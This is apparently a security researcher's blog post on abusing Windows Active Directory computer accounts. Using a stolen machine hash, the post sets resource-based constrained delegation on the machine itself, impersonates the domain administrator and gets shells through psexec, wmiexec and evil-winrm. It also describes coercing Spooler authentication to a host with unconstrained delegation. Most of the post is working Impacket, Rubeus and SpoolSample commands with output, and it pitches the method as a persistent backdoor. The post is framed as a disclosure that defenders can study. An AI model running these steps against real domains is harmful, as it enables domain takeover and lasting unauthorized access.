Abusing Computer Accounts in the Active Directory
Published: 16-August-2024
By: Mohamed Idris

Windows domain computer accounts are essential for the secure operation and management of computers within a Windows Server Active Directory (AD) environment. Created when a computer joins the domain, these accounts have unique security identifiers (SIDs) and store relevant attributes. Represented with a dollar sign (e.g., COMPUTERNAME$), they use Kerberos protocol for authentication, securing communications with the domain controller (DC).
Computer accounts are similar to normal user accounts and have similar privileges that can be abused by attackers and Malware. For instance, compromising a machine with DCSYNC privileges can be misused to compromising the entire domain. However, what about machines with normal privileges? Dumping the credentials from memory normally discloses machine credentials (NTLM hashes, and Kerberos AES Keys – check Mimikatz’s screenshot below). How those credentials can be abused when the machine account has no extra privileges other than the normal ones? Is it possible to utilize those credentials to re-visit the machine later on or to use them as backdoor to compromise the machine in future (considering that their credentials rotate every 30 days by default and can even be disabled)?
Recently, I found out an interesting attack that I used to compromise multiple domains via new routes that were not feasible previously. I utilized it as a backdoor as well to be used to re-compromise machines that I already took over in the past. Additionally, if we have control over a machine with an unconstrained delegation, it can be used to compromise other machines in the network with the spooler service running.
The risk of this attack (let’s call it “Acting on its own behalf”) is that it allows attackers/Malware to re-compromise machines any time in future as long as the stolen credentials are valid (as mentioned above, this may turn into forever, if rotation is disabled via registry). The advantage is that it does not rely on user accounts, which are normally monitored, hardened, and rotated more frequently. It also open new doors to compromise the entire domain when an unconstrained delegation is found (even when Spooler service is disabled on Domain Controllers and privileged users are restricted from accessing the compromised unconstrained machine). Additionally, attackers do not need to use a different account with an SPN since the same machine account can be used to complete the attack.
This attack was tested on up-to-date Windows Server 2019 and Windows Server 2022 (I believe it would work on previous versions as well).
Acting on its own behalf
Let’s assume that we have compromised a domain machine and obtained its credentials (NTLM hash, or Kerberos AES Key). If we want to re-compromise the machine without using local admin user account (because they were changed, local admin credentials are rotated every couple of hours via an automated solution (e.g. Vault), or anything else), we can perform the following:
1. Use machine credential to obtain a TGT Kerberos ticket for the machine.
2. Using the obtained ticket modify the machine object in the Active Directory and set the attribute “msDS-AllowedToActOnBehalfOfOtherIdentity” to the same machine account (hence the name acting on its own behalf). We do not need any other SPN account to complete the attack. This allows the machine account to act on behalf of any other user account.
3. Request a service ticket for the machine on behalf of the domain administrator. This allows the machine account to impersonate the domain administrator account.
4. Use the obtained ticket to compromise the machine 😊.
Here are the steps and commands needed to perform the attack:
Note: this entire attack was performed from Kali, but the same may be performed on Windows using Rubeus.
First, request Kerberos TGT ticket for the target machine using it’s stolen NTLM hash/AES key (we already added the target machine and the domain DC to the local /etc/hosts for name resolution)
# python3 /usr/share/doc/python3-impacket/examples/getTGT.py -hashes :<Computer NTLM Hash> <Target Domain>/<Target Computer Name>\$@<Domain Controller Name>
python3 /usr/share/doc/python3-impacket/examples/getTGT.py -hashes :abba…cbf9 test.local/WIN10PRO\$@WIN-61CSB4AKJG8
Export the ticket
# export KRB5CCNAME=<ticket name obtained from the previous command>
export KRB5CCNAME=WIN10PRO\$@WIN-61CSB4AKJG8.ccache
Check the exported ticket
klist
Looks good, we have a valid ticket for the target machine!
Next, perform an RBCD attack setting the property “msDS-AllowedToActOnBehalfOfOtherIdentity” to the same computer account (“WIN10PRO\$”). This means that the computer will be allowed to act on its own behalf:
# python3 /usr/share/doc/python3-impacket/examples/rbcd.py -action write -delegate-to "<Target Computer Name>" -delegate-from "<Same Target Computer Name>$" <Target Domain>/<Target Computer Name>\$@<Domain Controller Name> -k -no-pass
python3 /usr/share/doc/python3-impacket/examples/rbcd.py -action write -delegate-to "WIN10PRO$" -delegate-from "WIN10PRO$" test.local/WIN10PRO\$@WIN-61CSB4AKJG8 -k -no-pass
Completed successfully!
Now, request Kerberos ticket to impersonate the domain administrator using S4U2self and S4U2Proxy
# python3 /usr/share/doc/python3-impacket/examples/getST.py <Target Domain>/<Target Computer Name>\$@<Domain Controller Name> -spn <SPN to access e.g. cifs>/<Target Computer Name> -impersonate <UserName to Impersonate> -k -no-pass
python3 /usr/share/doc/python3-impacket/examples/getST.py test.local/WIN10PRO\$@WIN-61CSB4AKJG8 -spn cifs/WIN10PRO -impersonate administrator -k -no-pass
Export the new ticket
# export KRB5CCNAME=<SPN ticket name from the previous command>
export KRB5CCNAME=administrator.ccache
Check the exported ticket
klist
Finally, use any tool to obtain administrator access on the target machine (e.g. PSEXEC, WMIEXE, or Evil-WINRM).
Using PSEXEC
# python3 /usr/share/doc/python3-impacket/examples/psexec.py <Target Domain Name>/<Impersonated UserName>@<Target Computer Name> -k -no-pass
python3 /usr/share/doc/python3-impacket/examples/psexec.py test.local/administrator@WIN10PRO -k -no-pass
Note: Windows Defender my interrupt Impacket PSEXEC, you can try a second time since it works sometimes. Otherwise, use WMIEXEC or Evil-WINRM.
Using WMIEXEC
# python3 /usr/share/doc/python3-impacket/examples/wmiexec.py <Target Domain Name>/<Impersonated UserName>@<Target Computer Name> -k -no-pass
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py test.local/administrator@WIN10PRO -k -no-pass
Using EVIL-WINRM
To use Evil-WINRM, first modify /etc/krb5.conf to look like the following (use your domain name)
Then, use the following command
# evil-winrm -i <Target Computer Name> -r <Target Domain Name> --spn <Granted SPN service e.g. cifs>
evil-winrm -i WIN10PRO -r TEST.LOCAL --spn cifs
Abusing Unconstrained Delegation
As we all know, if we compromise a machine with an unconstrained delegation, we can steal TGT tickets from the memory for any account that authenticates to the machine with the unconstrained delegation (users or computers). This is normally abused to steal the Domain Controller’s TGT ticket to perform a DCSYNC attack and take over the entire domain. It can also be abused to steal domain administrator’s/privileged account’s ticket to take over the entire domain. However, what if the domain controller has the Spooler service turned off and no privileged user authenticates to the compromised machine?
Well, using the “Act on own behalf” method allows us to compromise any other machine with the Spooler Service running (think of servers with high privileges or Workstations where the administrator/privileged users logged in).
Find Servers with accessible Spooler service running using Get-SpoolStatus.ps1:
. .\Get-SpoolStatus.ps1
Get-SpoolStatus TargetSrv.test.local
You should receive “True” for hosts with accessible Spooler service.
Note: To scan multiple hosts:
ForEach ($server in Get-Content hosts.txt) {Get-SpoolStatus $server}
Run Rubeus in monitoring mode to capture new tickets:
Rubeus.exe monitor /interval:5 /nowrap
From another console/shell run the Spool Sample/Invoke-Spoolsample.ps1 to force the target machine (where Spool service is running) to authenticate to the compromised machine with the unconstrained delegation (where Rubeus is running):
SpoolSample.exe TargetSrv.test.local WinUnconstrained.test.local
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
On Rubeus, you should receive a new TGT ticket for the target machine (should look like the following):
[*] 6/27/2024 6:51:45 PM UTC - Found new TGT:
User: targetsrv$@TEST.LOCAL
StartTime: 6/27/2024 8:30:42 AM
EndTime: 6/27/2024 6:01:27 PM
RenewTill: 7/4/2024 10:16:27 PM
Flags: name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket:
doIFcjCCBW6gAwIBBaEDAgEWooI
On Kali, use this tool to convert the Base64 ticket into a CCACHE file:
python3 rubeustoccache.py <b64 ticket e.g. doIFcjCCBW6gAwIBBaEDAgEW> targetsrv.kirbi targetsrv.ccache
[*] Writing decoded .kirbi file to targetsrv.kirbi
[*] Writing converted .ccache file to targetsrv.ccache
[*] All done! Don't forget to set your environment variable: export KRB5CCNAME= targetsrv.ccache
On Kali, export the ticket:
export KRB5CCNAME=targetsrv.ccache
From here, you can continue as we did in the previous section by performing the RBCD attack to set the “msDS-AllowedToActOnBehalfOfOtherIdentity” to “targetsrv”, request a ticket to impersonate the domain administrator, export the impersonation ticket, and you will be able to compromise the machine 😉.
This attack has already been shared with Microsoft and no update received; hence, I decided to share with the community. The attack still works after more than a month from sharing.